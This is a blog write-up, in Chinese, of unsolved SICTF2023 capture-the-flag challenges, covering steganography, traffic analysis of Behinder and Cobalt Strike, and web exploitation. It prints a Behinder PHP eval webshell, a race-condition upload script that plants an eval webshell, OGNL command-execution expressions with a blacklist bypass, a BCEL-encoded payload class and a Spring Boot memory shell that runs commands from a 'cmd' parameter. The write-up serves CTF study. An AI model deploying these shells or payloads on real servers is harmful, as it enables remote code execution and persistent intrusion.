sictf2023

SICTF2023

就记录一些不会的题

MISC

baby_zip

明文攻击+lsb隐写(010打开就行)

echo -n "89504e470d0a1a0a0000000d49484452" |xxd -r -ps > key.txt

image-20230910160932339

image-20230910161008575

我的当时思路:

压缩包有密码,尝试伪加密,破解后显示crc错误,自己构造一个带图片的压缩包,对比发现原压缩包图片内容没有文件头部分,然后就尝试自己加,但是宽高不知道,crc写不了,最终也没有办法了

QR_QR_QR

这个当时没时间写了,结束后也想自己尝试下,但还是失败了(才知道是python的问题,不是我的。。。。。)

自己的想法:

很明显01转二维码(第一次在不知道wp的情况下写脚本),成功后以为每次都一样,但是多次尝试后发现是不一样的,然后就像提示说的使用pwntool,还挺简单的,接着关键一步就是识别二维码的脚本,网上发现无非就是两种(pyzbar库和cv2库),但我使用都出了问题

看了眼wp,基本是一样的,但是因为pyzbar库报错不能成功,服了。。。。

from pwn import *
from PIL import Image
from pyzbar.pyzbar import decode

img = Image.new("RGB",(115,115))
p = remote("host",port)
for i in range(115):
    a = p.recvline().strip().decode()
    for j in range(115):
        if(a[j]=='0'):
            img.putpixel((i,j),(255,255,255))
        else:
            img.putpixel((i,j),(0,0,0))
p.sendline(decode(img)[0][0])

应该能成功,失败的话自己网上找一下识别二维码的代码去替换一下

看了WP说还要解1000次才出flag。。。。。。

别人的完整WP

from Crypto.Util.number import *
from pwn import *
import cv2
from PIL import Image
from pyzbar.pyzbar import decode

r=remote("host",port)
count = 0
while(1):
    count += 1
    print(count)
    data = list(r.recvuntil(b"P")[:-1])

    # 定义图像的宽度和高度(根据数据长度调整)
    width = 116
    height = 116

    # 创建一个空白图像
    image = Image.new("1", (width, height), color=1)  # 1表示单色(黑白)

    # 获取图像的像素访问对象
    pixels = image.load()

    # 将01数据填充到图像中
    for y in range(height):
        for x in range(width):
            index = y * width + x
            if index < len(data) and data[index] == 48:
                pixels[x, y] = 0  # 将0写为黑色像素点
            else:
                pixels[x, y] = 1  # 将0写为黑色像素点

    # 保存图像为文件
    image.save("1.png")
    decocdeQR = decode(Image.open("1.png"))[0].data
    r.sendline(decocdeQR)
    temp = r.recvline()
    print(temp)
    temp = r.recvline()
    print(temp)

Pixel_art

赛后讨论说是提取像素脚本然后解密OOK

但即使知道思路,还是不知道怎么做,等着看WP吧

压缩包伪加密得到图片,stegsolve查看lsb隐写,发现图片(就只做到这里)

大小仅有20*20,不难想到flag被加密进了像素点里。写一个脚本提取像素点:

from PIL import Image
img = Image.open('')
width,height = img.size
pix = []

for i in range(width):
    for j in range(height):
        pix.append(img.getpixel(i,j))
print(pix)
[(46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (33, 63, 33), (33, 46, 63), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (46, 46, 46), (63, 46, 63), (33, 46, 63), (46, 46, 46), (46, 33, 46), (63, 46, 46), (46, 46, 46), (46, 46, 33), (63, 33, 33), (46, 63, 33), (33, 33, 33), (33, 33, 63), (46, 63, 33), (46, 63, 33), ......, (46, 46, 33), (46, 63, 46), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0)]
对应ASCII46-. 
33-!
63-?

然后联想到Ook

from PIL import Image

image = Image.open('')  # 替换为隐写出来的图片
width, height = image.size
pixel_data = []

for y in range(height):
    for x in range(width):
        pixel = image.getpixel((x, y))
        pixel_data.append(pixel)

count = 0
for i in range(len(pixel_data)):
    if(pixel_data[i] == (0,0,0)):
        break
    for j in pixel_data[i]:
        print("Ook"+chr(j),end = "")

Easy_Shark

自己的思路:提取http对象,发现上传的shell.php的内容,以及上传的一些数据

<?php
@error_reporting(0);
session_start();
    $key="2295d22e2d70888f";
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

想着是上传的内容然后对应解密,但还是没思路,应该还是没看懂这段代码的原因

WP的思路差不多,对数据进行对应解密(我当时少了一层base64,只拿去AES解密导致什么都看不出来)

拿到加密方式后,可以看出,在openssl扩展有效时,这段代码对数据的解密方式为AES_128后base64,并且给了key的值(之后了解到这是很明显的冰蝎的特征)。那么就可以使用cyberchef,对之后的每个tcp流里的base64数据进行恢复:

image-20230910182126677

圈起来的地方注意一下,iv自行补0直到出现内容即可

然后把里面的信息解密出来看看

image-20230910182455111

tcp流有很多,大佬们贴出来的图是

image-20230910182605633

由此去解密响应信息(响应数据太多了,复现找不到两个文本的内容)

image-20230910182736580

GronKey.txt:

1,50,61,8,9,20,63,41

flag.txt:

TGLBOMSJNSRAJAZDEZXGHSJNZWHG

根据GronKey找到Gronsfeld加密

(类似于凯撒这样的移位密码,每个字符根据对应数字进行移位,若密钥长度小于字符串,就从头再次开始)

from  Crypto.Util.number import *
from pycipher import Gronsfeld

t = [1,50,61,8,9,20,63,41]
temp = "TGLBOMSJNSRAJAZDEZXGHSJNZWHG"
print (Gronsfeld(t).decipher(temp))
SICTF{SHUMUISAGOODBOYYYYYYYYY}

一起上号不

有关cs的流量分析,应该去找类似的题目的,但当时并不怎么想做,大佬们也是参照别的文章的解题顺序做的

导出http对象,获得一个key.zip,利用工具解密cobalstrike公钥和私钥

Slzdude/cs-scripts: 研究CobaltStrike时的一些副产品 (github.com)

因为虚拟机坏了,只能先拿unknown师傅的图了

image-20230910202300228

有了私钥,拿去解/load路由中cookie中的元数据,拿到AES_KEY,HMAC_KEY

WBGlIl/CS_Decrypt (github.com)

image-20230910202637906

然后找到/submit.php下发送的POST请求内容

先hex解密再base64加密

image-20230910202825317

image-20230910202851419

总结下顺序:

  1. 解密key文件,得到private-key
  2. 拿到cookie中的元数据,解密出AES_KEYHMAC_KEY
  3. 找到/submit.php的数据,先hex解密再base64加密,然后跑脚本

还不上号 (easy_shark和一起上号的组合)

两个流量包

内容高度一致,就说一下不同点吧

包一对比easy_shark缺少key(但我自己找不到shell.php的内容)

而包二中导出http对象有key.zip

压缩包有加密,也没法进行明文攻击,那么就ziprello爆破,爆破得到密码we1l

发现零宽字符隐写,解密时要点上这两个

image-20230910210453746

cd52f1488563bf0e

然后按照easy_shark的方式解密

得到两个文件

flag.txt:

SICTF{79e1755e-08a8-4d

key:image-20230910211920890

剩下的和一起上号不一样

最后得到了个base32

image-20230910212103449

解密即可

web

include(签到)

很简单filter伪协议就可以

这里我尝试包含pearcmd.php (我虽然知道这种解法,但每次看到include都想不起来可以用这个)

image-20230910212926345

image-20230910212949221

我全都要(拿了个二血)

pop链不说了

你能跟得上我的speed吗

当时看到传不上去就想着条件竞争,但是不会操作

我印象中的竞争有session条件竞争,然后就是多线程

看了unknow师傅的wp,可以使用session的脚本

偷师傅的脚本

# coding=utf-8
# Author:Y4tacker
import io
import requests
import threading

sessid = 'yyy'
url = "http://210.44.151.51:10418/upload.php"
##这里小改了一下
php = '''
<?php
file_put_contents('shell.php','<?php eval($_GET["c"]);?>');
echo 'bingo';'''

def write(session):
    while True:
        f = php
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': f"123123213123"},
                            files={'file': ('1.php', f)}, cookies={'PHPSESSID': sessid})

def read(session):
    while True:
        resp = session.get('http://210.44.151.51:10418/uploads/1.php')
        if "bingo" in resp.text:
            print(resp.text)
            break

if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:

        for i in range(1, 10):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 10):
            threading.Thread(target=read, args=(session,)).start()

    event.set()

image-20230910214204467

pain (看了四种解法)

考察OGNL表达式

正常的命令执行是下面这样

OgnlContext context = new OgnlContext();
//context.setRoot(test);

//表达式
String express = "(#a=@java.lang.Runtime@getRuntime.exec('calc')";
//(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

Object ognl = Ognl.parseExpression(express);
Object value = Ognl.getValue(ognl,context,context.getRoot());
System.out.println(value);

题目黑名单

image-20230911153225651

unicode绕过

@java.lang.\u0052untime@g\u0065t\u0052untime().\u0065xec('calc')

记得url编码(我当时想的就是unicode,但没url编码网页报错400不知道咋办了)

读取文件

(#a=new java.util.Scanner(new java.io.File("/flag")).next())

妙妙妙妙啊

bcel字节码(unknow师傅的解法)

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.JavaWrapper;

public class App {
    public static void main( String[] args ) throws Exception{
        //第一种触发方式
        //JavaClass javaClass = Repository.lookupClass(Evil.class);
        //
        //String encode = Utility.encode(javaClass.getBytes(), true);
        //
        //System.out.println(encode);
        //new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance();

        //第二种触发方式
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        JavaWrapper._main(new String[]{"$$BCEL$$"+encode});
        System.out.println("$$BCEL$$"+encode);

    }
}
//Evil.java
import java.io.IOException;

public class Evil {
    public static void main(String[] args) {

    }
    public static void _main(String[] args) {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
//使用第一种方法的Evil.java
import java.io.IOException;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
public static void main( String[] args ) throws Exception{

    JavaClass javaClass = Repository.lookupClass(Evil.class);
    String encode = Utility.encode(javaClass.getBytes(), true);
    String bcel = "$$BCEL$$"+encode;

    String code = "@com.sun.org.apache.bcel.internal.util.JavaWrapper@_main({'"+bcel+"'}.toArray())";

    System.out.println(URLEncode.encode(code)); 

    OgnlContext context = new OgnlContext();

    Ognl.getValue(code, context, context.getRoot());

}
#使用ClassLoader

(#a=new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmRKO$c2$40$Q$fe$W$90BmEQ$f0$fd$7e$81$H$b9x$c3x1$9a$Y$eb$pb0$k$cb$ba$c2bmM$v$ea$3f$f2$ecE$8d$sz$f7G$ZgWE$S$eda$a63$dfcf$db$7d$ffx$7e$F$b0$86$82$894FL$8cb$y$85q$95$t$ML$g$982$91$c4$b4$81$Z$D$b3$M$c9u$e9$cbh$83$n$5e$uV$Z$S$9b$c1$99$60$c88$d2$X$fb$ed$cb$9a$I$8f$dd$9aG$9d$ac$Tp$d7$ab$ba$a1T$f5w3$R5d$8b$3c$9c$adk$e9$95$ZR$eb$dc$fb$b6c$E$e7$9c$a6$7b$ed$96dP$da9$d8$ba$e5$e2$w$92$81O4$bb$S$b9$fcb$cf$bd$d26$b4$U$83Y$J$da$n$X$dbR$d9$a6$95$dd$aa$d2Z0$d1k$60$ce$c2$3c$Wh$k$ad$c0$z$yb$89a$f0$lo$861$dd$f5$5c$bf$5e$3aj$fb$91$bc$U$jPy$z$93$872g$e8$ff$r$k$d4$9a$82G$M$D$7f$b4$b4W$5dD$9d$oW$u$3a$7f8t$9e$84$b8$V$9ca$b9$d0$85V$a2P$fa$f5r$b7$e00$M$b8h$b5H0$d2$cd$3cn$84$c1$8d$fa$Q$e5b$V$b3H$d1_SO$ML$j$9e$a2EU$892$a3$dc$b3$f2$Iv$afa$9bbR7$N$f4Q$b4$be$I$c8$a0$9fr$K$D$j$f19$e2$g$h$7eB$y$h$7f$40$e2$e4$O$f6$ee$L$92$a7$e4f$bc$ddk0M$d4$k$o$w$db$3c$bd$B$ea$fe$d8$d4$ed$d51OC$7e$c6$d8$84d1H$d5$90$k$ls$M$e4$d2$E$e4$f5f$c3$9f$9e$b2$c5O$84$C$A$A')).newInstance()

本地自建的Evil.java,带不带包名都可以,都打得通。(保险起见还是带上吧)

DoyouknowCC (不会,先欠着)

springboot >2.6内存马

package com.example.controller;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class EvilController extends AbstractTranslet {
    public EvilController() throws NoSuchFieldException, NoSuchMethodException, IllegalAccessException {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = EvilController.class.getMethod("test");
        Field field = mappingHandlerMapping.getClass().getDeclaredField("config");
        field.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) field.get(mappingHandlerMapping);
        RequestMappingInfo info = RequestMappingInfo.paths("/cmd").options(config).build();
        EvilController springBootMemoryShellOfController = new EvilController("aaaaaaa");
        mappingHandlerMapping.registerMapping(info,springBootMemoryShellOfController,method);
    }
    public EvilController(String test){

    }
    public void test() throws Exception{
        HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
        String command = request.getParameter("cmd");
        if (command!=null){
            try {
                java.io.PrintWriter printWriter = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                printWriter.write(o);
                printWriter.flush();
                printWriter.close();
            }catch (Exception ignored){

            }

        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}


sictf2023
https://zer0peach.github.io/2023/09/10/sictf2023/
作者
Zer0peach
发布于
2023年9月10日
许可协议